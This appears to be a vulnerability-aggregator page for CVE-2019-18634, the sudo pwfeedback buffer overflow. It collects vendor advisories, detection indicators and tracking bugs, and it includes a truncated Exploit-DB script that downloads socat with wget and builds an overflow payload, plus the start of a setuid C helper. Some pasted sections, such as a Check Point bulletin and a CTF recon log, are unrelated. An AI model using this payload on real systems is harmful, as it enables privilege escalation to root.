CVE-2019-18634
published 2020-01-29CVE-2019-18634: In Sudo before 1.8.26, if pwfeedback is enabled in /etc/sudoers, users can trigger a stack-based buffer overflow in the privileged sudo process. (pwfeedback is…
PriorityP262high7.8CVSS 3.1
AVLACLPRLUINSUCHIHAH
EXPLOIT
EPSS
19.43%
97.1th percentile
In Sudo before 1.8.26, if pwfeedback is enabled in /etc/sudoers, users can trigger a stack-based buffer overflow in the privileged sudo process. (pwfeedback is a default setting in Linux Mint and elementary OS; however, it is NOT the default for upstream and many other packages, and would exist only if enabled by an administrator.) The attacker needs to deliver a long string to the stdin of getln() in tgetpass.c.
Affected
9 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| debian | debian_linux | — | — |
| debian | debian_linux | — | — |
| debian | debian_linux | — | — |
| debian | sudo | < sudo 1.8.31-1 (bookworm) | sudo 1.8.31-1 (bookworm) |
| sudo_project | sudo | >= 0 < 1.8.31-1 | 1.8.31-1 |
| sudo_project | sudo | >= 0 < 1.8.31-1 | 1.8.31-1 |
| sudo_project | sudo | >= 0 < 1.8.31-1 | 1.8.31-1 |
| sudo_project | sudo | >= 0 < 1.8.31-1 | 1.8.31-1 |
| sudo_project | sudo | >= 1.7.1 < 1.8.26 | 1.8.26 |
Detection & IOCsextracted from sources · hover to see the quote
- →Trigger condition: CVE-2019-18634 is only exploitable when 'pwfeedback' is enabled in /etc/sudoers. Audit sudoers files for this setting as a detection/triage step. ↗
- →Monitor for creation of SUID binaries in /tmp (e.g., /tmp/pipe) by non-root users, which is a post-exploitation step in the published exploit. ↗
- →Monitor for use of SUDO_ASKPASS environment variable pointing to /tmp paths, used in the exploit to redirect sudo's password input. ↗
- →Monitor for wget/curl of the saleemrashid sudo-cve-2019-18634 GitHub repository exploit.c onto target systems. ↗
- ·The vulnerability only exists if 'pwfeedback' is enabled in /etc/sudoers. It is NOT enabled by default in upstream sudo or most distributions, but IS enabled by default in Linux Mint and elementary OS. ↗
- ·Sudo versions prior to 1.8.26 are vulnerable; version 1.8.31 includes the patch. ↗
CVSS provenance
nvdv3.17.8HIGHCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
nvdv2.04.6MEDIUMAV:L/AC:L/Au:N/C:P/I:P/A:P
osv7.8HIGH
vendor_debian7.8HIGH
vendor_redhat7.8HIGH
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
GHSA
GHSA-rjv5-9w4p-4jrw: In Sudo through 1
ghsa_unreviewed·2022-05-24
CVE-2019-18634 [MEDIUM] GHSA-rjv5-9w4p-4jrw: In Sudo through 1
In Sudo through 1.8.29, if pwfeedback is enabled in /etc/sudoers, users can trigger a stack-based buffer overflow in the privileged sudo process. (pwfeedback is a default setting in Linux Mint and elementary OS; however, it is NOT the default for upstream and many other packages, and would exist only if enabled by an administrator.) The attacker needs to deliver a long string to the stdin of getln() in tgetpass.c.
OSV
CVE-2019-18634: In Sudo before 1
osv·2020-01-29·CVSS 7.8
CVE-2019-18634 [HIGH] CVE-2019-18634: In Sudo before 1
In Sudo before 1.8.26, if pwfeedback is enabled in /etc/sudoers, users can trigger a stack-based buffer overflow in the privileged sudo process. (pwfeedback is a default setting in Linux Mint and elementary OS; however, it is NOT the default for upstream and many other packages, and would exist only if enabled by an administrator.) The attacker needs to deliver a long string to the stdin of getln() in tgetpass.c.
Ubuntu
Sudo vulnerability
vendor_ubuntu·2020-02-05
CVE-2019-18634 Sudo vulnerability
Title: Sudo vulnerability
Summary: Sudo could allow unintended access to the administrator account.
USN-4263-1 fixed a vulnerability in Sudo. This update provides
the corresponding update for Ubuntu 12.04 ESM and Ubuntu 14.04 ESM.
Original advisory details:
Joe Vennix discovered that Sudo incorrectly handled memory operations when
the pwfeedback option is enabled. A local attacker could possibly use this
issue to obtain unintended access to the administrator account.
Instructions: In general, a standard system update will make all the necessary changes.
Ubuntu
Sudo vulnerability
vendor_ubuntu·2020-02-03
CVE-2019-18634 Sudo vulnerability
Title: Sudo vulnerability
Summary: Sudo could allow unintended access to the administrator account.
Joe Vennix discovered that Sudo incorrectly handled memory operations when
the pwfeedback option is enabled. A local attacker could possibly use this
issue to obtain unintended access to the administrator account.
Instructions: In general, a standard system update will make all the necessary changes.
Red Hat
sudo: Stack based buffer overflow when pwfeedback is enabled
vendor_redhat·2020-01-30·CVSS 7.8
CVE-2019-18634 [HIGH] CWE-121 sudo: Stack based buffer overflow when pwfeedback is enabled
sudo: Stack based buffer overflow when pwfeedback is enabled
In Sudo before 1.8.26, if pwfeedback is enabled in /etc/sudoers, users can trigger a stack-based buffer overflow in the privileged sudo process. (pwfeedback is a default setting in Linux Mint and elementary OS; however, it is NOT the default for upstream and many other packages, and would exist only if enabled by an administrator.) The attacker needs to deliver a long string to the stdin of getln() in tgetpass.c.
A flaw was found in the Sudo application when the ’pwfeedback' option is set to true on the sudoers file. An authenticated user can use this vulnerability to trigger a stack-based buffer overflow under certain conditions even without Sudo privileges. The buffer overflow may allow an attacker to expose or corrupt memory
Debian
CVE-2019-18634: sudo - In Sudo before 1.8.26, if pwfeedback is enabled in /etc/sudoers, users can trigg...
vendor_debian·2019·CVSS 7.8
CVE-2019-18634 [HIGH] CVE-2019-18634: sudo - In Sudo before 1.8.26, if pwfeedback is enabled in /etc/sudoers, users can trigg...
In Sudo before 1.8.26, if pwfeedback is enabled in /etc/sudoers, users can trigger a stack-based buffer overflow in the privileged sudo process. (pwfeedback is a default setting in Linux Mint and elementary OS; however, it is NOT the default for upstream and many other packages, and would exist only if enabled by an administrator.) The attacker needs to deliver a long string to the stdin of getln() in tgetpass.c.
Scope: local
bookworm: resolved (fixed in 1.8.31-1)
bullseye: resolved (fixed in 1.8.31-1)
forky: resolved (fixed in 1.8.31-1)
sid: resolved (fixed in 1.8.31-1)
trixie: resolved (fixed in 1.8.31-1)
No detection rules found.
Exploit-DB
Sudo 1.8.25p - 'pwfeedback' Buffer Overflow
exploitdb·2020-02-06
CVE-2019-18634 Sudo 1.8.25p - 'pwfeedback' Buffer Overflow
Sudo 1.8.25p - 'pwfeedback' Buffer Overflow
---
#!/bin/bash
# We will need socat to run this.
if [ ! -f socat ];
then
wget https://raw.githubusercontent.com/andrew-d/static-binaries/master/binaries/linux/x86_64/socat
chmod +x socat
fi
cat xpl.pl
\$buf_sz = 256;
\$askpass_sz = 32;
\$signo_sz = 4*65;
\$tgetpass_flag = "\x04\x00\x00\x00" . ("\x00"x24);
print("\x00\x15"x(\$buf_sz+\$askpass_sz) .
("\x00\x15"x\$signo_sz) .
(\$tgetpass_flag) . "\x37\x98\x01\x00\x35\x98\x01\x00\x35\x98\x01\x00\xff\xff\xff\xff\x35\x98\x01\x00\x00\x00\x00\x00".
"\x00\x00\x00\x00\x00\x15"x104 . "\n");
EOF
cat exec.c
#include
#include
#include
#include
#include
#include
int main(void)
{
printf("Exploiting!\n");
int fd = open("/proc/self/exe", O_RDONLY);
struct stat st;
fstat(fd, &st);
if (st.st_uid != 0)
{
fchown
Exploit-DB
Sudo 1.8.25p - 'pwfeedback' Buffer Overflow (PoC)
exploitdb·2020-02-04·CVSS 7.8
CVE-2019-18634 [HIGH] Sudo 1.8.25p - 'pwfeedback' Buffer Overflow (PoC)
Sudo 1.8.25p - 'pwfeedback' Buffer Overflow (PoC)
---
# Title: Sudo 1.8.25p - Buffer Overflow
# Date: 2020-01-30
# Author: Joe Vennix
# Software: Sudo
# Versions: Sudo versions prior to 1.8.26
# CVE: CVE-2019-18634
# Reference: https://www.sudo.ws/alerts/pwfeedback.html
# Sudo's pwfeedback option can be used to provide visual feedback when the user is inputting
# their password. For each key press, an asterisk is printed. This option was added in
# response to user confusion over how the standard Password: prompt disables the echoing
# of key presses. While pwfeedback is not enabled by default in the upstream version of sudo,
# some systems, such as Linux Mint and Elementary OS, do enable it in their default sudoers files.
# Due to a bug, when the pwfeedback option is enabled in the su
Bugzilla
CVE-2019-18634 sudo: Stack based buffer overflow when pwfeedback is enabled [fedora-all]
bugzilla·2020-02-05·CVSS 7.8
CVE-2019-18634 [HIGH] CVE-2019-18634 sudo: Stack based buffer overflow when pwfeedback is enabled [fedora-all]
CVE-2019-18634 sudo: Stack based buffer overflow when pwfeedback is enabled [fedora-all]
This is an automatically created tracking bug! It was created to ensure
that one or more security vulnerabilities are fixed in affected versions
of fedora-all.
For comments that are specific to the vulnerability please use bugs filed
against the "Security Response" product referenced in the "Blocks" field.
For more information see:
http://fedoraproject.org/wiki/Security/TrackingBugs
When submitting as an update, use the fedpkg template provided in the next
comment(s). This will include the bug IDs of this tracking bug as well as
the relevant top-level CVE bugs.
Please also mention the CVE IDs being fixed in the RPM changelog and the
fedpkg commit message.
NOTE: this issue affects multiple support
Bugzilla
CVE-2019-18634 sudo: Stack based buffer overflow in when pwfeedback is enabled [fedora-all]
bugzilla·2020-01-31·CVSS 7.8
CVE-2019-18634 [HIGH] CVE-2019-18634 sudo: Stack based buffer overflow in when pwfeedback is enabled [fedora-all]
CVE-2019-18634 sudo: Stack based buffer overflow in when pwfeedback is enabled [fedora-all]
This is an automatically created tracking bug! It was created to ensure
that one or more security vulnerabilities are fixed in affected versions
of fedora-all.
For comments that are specific to the vulnerability please use bugs filed
against the "Security Response" product referenced in the "Blocks" field.
For more information see:
http://fedoraproject.org/wiki/Security/TrackingBugs
When submitting as an update, use the fedpkg template provided in the next
comment(s). This will include the bug IDs of this tracking bug as well as
the relevant top-level CVE bugs.
Please also mention the CVE IDs being fixed in the RPM changelog and the
fedpkg commit message.
NOTE: this issue affects multiple supp
Bugzilla
CVE-2019-18634 sudo: Stack based buffer overflow when pwfeedback is enabled
bugzilla·2020-01-31·CVSS 7.8
CVE-2019-18634 [HIGH] CVE-2019-18634 sudo: Stack based buffer overflow when pwfeedback is enabled
CVE-2019-18634 sudo: Stack based buffer overflow when pwfeedback is enabled
In Sudo before 1.8.31, if pwfeedback is enabled in /etc/sudoers, users can trigger a stack-based buffer overflow in the privileged sudo process. (pwfeedback is a default setting in Linux Mint and elementary OS; however, it is NOT the default for upstream and many other packages, and would exist only if enabled by an administrator.) The attacker needs to deliver a long string to the stdin of getln() in tgetpass.c.
Upstream patch:
https://github.com/sudo-project/sudo/commit/fa8ffeb17523494f0e8bb49a25e53635f4509078
References:
https://www.sudo.ws/alerts/pwfeedback.html
https://www.openwall.com/lists/oss-security/2020/01/30/6
Discussion:
Created sudo tracking bugs for this issue:
Affects: fedora-all [bug 179694
Checkpoint
10th February – Threat Intelligence Bulletin
blogs_checkpoint·2020-02-10
CVE-2019-18426 10th February – Threat Intelligence Bulletin
Latest Publications
CPR Podcast Channel
AI Research
Web 3.0 Security
Intelligence Reports
ThreatCloud AI
Threat Intelligence & Research
Zero Day Protection
Sandblast File Analysis
About Us
SUBSCRIBE
2026
2025
2024
2023
2022
2021
2020
2019
2018
2017
2016
## 10th February – Threat Intelligence Bulletin
For the latest discoveries in cyber research for the week of 10th February 2020, please download our Threat Intelligence Bulletin .
Top Attacks and Breaches
Twitter has suspended a network of fake accounts abusing its API to match millions of usernames and phone numbers. The feature, intended to indicate accounts matching existing contacts, was used on millions of randomly generated phone numbers. Twitter traces this campaign to state-sponsored actors with some evide
CTF
Medium / hackerNote
ctf_writeups
Medium / hackerNote
# recon
```
port scanning...
22/tcp open ssh
80/tcp open http
8080/tcp open http-proxy
Enumerating open ports...
Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-11 08:16 EDT
Nmap scan report for 10.10.128.8
Host is up (0.055s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 10:a6:95:34:62:b0:56:2a:38:15:77:58:f4:f3:6c:ac (RSA)
| 256 6f:18:27:a4:e7:21:9d:4e:6d:55:b3:ac:c5:2d:d5:d3 (ECDSA)
|_ 256 2d:c3:1b:58:4d:c3:5d:8e:6a:f6:37:9d:ca:ad:20:7c (ED25519)
80/tcp open http Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Home - hackerNote
8080/tcp open http Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-open-proxy: Proxy might be redirecting requests
|_http-title:
CTF
Easy / sudovulnsbof
ctf_writeups·CVSS 8.8
CVE-2019-18634 [HIGH] Easy / sudovulnsbof
# CVE-2019-18634 Sudo Buffer Overflow
- sudo version < 1.8.26.
- exploit option called **pwfeedback**.
# pwfeedback
- turned off by default (with the exception of ElementaryOS and Linux Mint)
- pwfeedback makes it so that whenever you type a character, an asterisk `*` is displayed on the screen.
- Inside the /etc/sudoers file it is specified like this (when option is turned on):
it's possible to perform a buffer overflow attack on the sudo command. when a program accepts input from a user it stores the data in a set size of storage space. A buffer overflow attack is when you enter so much data into the input that it spills out of this storage space and into the next "box," overwriting the data in it.
this means if we fill the password box of the sudo command up with a *lot of garbage
http://lists.opensuse.org/opensuse-security-announce/2020-02/msg00029.htmlhttp://packetstormsecurity.com/files/156174/Slackware-Security-Advisory-sudo-Updates.htmlhttp://packetstormsecurity.com/files/156189/Sudo-1.8.25p-Buffer-Overflow.htmlhttp://seclists.org/fulldisclosure/2020/Jan/40http://www.openwall.com/lists/oss-security/2020/01/30/6http://www.openwall.com/lists/oss-security/2020/01/31/1http://www.openwall.com/lists/oss-security/2020/02/05/2http://www.openwall.com/lists/oss-security/2020/02/05/5https://access.redhat.com/errata/RHSA-2020:0487https://access.redhat.com/errata/RHSA-2020:0509https://access.redhat.com/errata/RHSA-2020:0540https://access.redhat.com/errata/RHSA-2020:0726https://lists.debian.org/debian-lts-announce/2020/02/msg00002.htmlhttps://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/I6TKF36KOQUVJNBHSVJFA7BU3CCEYD2F/https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/IY6DZ7WMDKU4ZDML6MJLDAPG42B5WVUC/https://seclists.org/bugtraq/2020/Feb/2https://seclists.org/bugtraq/2020/Feb/3https://seclists.org/bugtraq/2020/Jan/44https://security.gentoo.org/glsa/202003-12https://security.netapp.com/advisory/ntap-20200210-0001/https://support.apple.com/kb/HT210919https://usn.ubuntu.com/4263-1/https://usn.ubuntu.com/4263-2/https://www.debian.org/security/2020/dsa-4614https://www.sudo.ws/alerts/pwfeedback.htmlhttps://www.sudo.ws/security.htmlhttp://lists.opensuse.org/opensuse-security-announce/2020-02/msg00029.htmlhttp://packetstormsecurity.com/files/156174/Slackware-Security-Advisory-sudo-Updates.htmlhttp://packetstormsecurity.com/files/156189/Sudo-1.8.25p-Buffer-Overflow.htmlhttp://seclists.org/fulldisclosure/2020/Jan/40http://www.openwall.com/lists/oss-security/2020/01/30/6http://www.openwall.com/lists/oss-security/2020/01/31/1http://www.openwall.com/lists/oss-security/2020/02/05/2http://www.openwall.com/lists/oss-security/2020/02/05/5https://access.redhat.com/errata/RHSA-2020:0487https://access.redhat.com/errata/RHSA-2020:0509https://access.redhat.com/errata/RHSA-2020:0540https://access.redhat.com/errata/RHSA-2020:0726https://lists.debian.org/debian-lts-announce/2020/02/msg00002.htmlhttps://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/I6TKF36KOQUVJNBHSVJFA7BU3CCEYD2F/https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/IY6DZ7WMDKU4ZDML6MJLDAPG42B5WVUC/https://seclists.org/bugtraq/2020/Feb/2https://seclists.org/bugtraq/2020/Feb/3https://seclists.org/bugtraq/2020/Jan/44https://security.gentoo.org/glsa/202003-12https://security.netapp.com/advisory/ntap-20200210-0001/https://support.apple.com/kb/HT210919https://usn.ubuntu.com/4263-1/https://usn.ubuntu.com/4263-2/https://www.debian.org/security/2020/dsa-4614https://www.sudo.ws/alerts/pwfeedback.htmlhttps://www.sudo.ws/security.html
2020-01-29
Published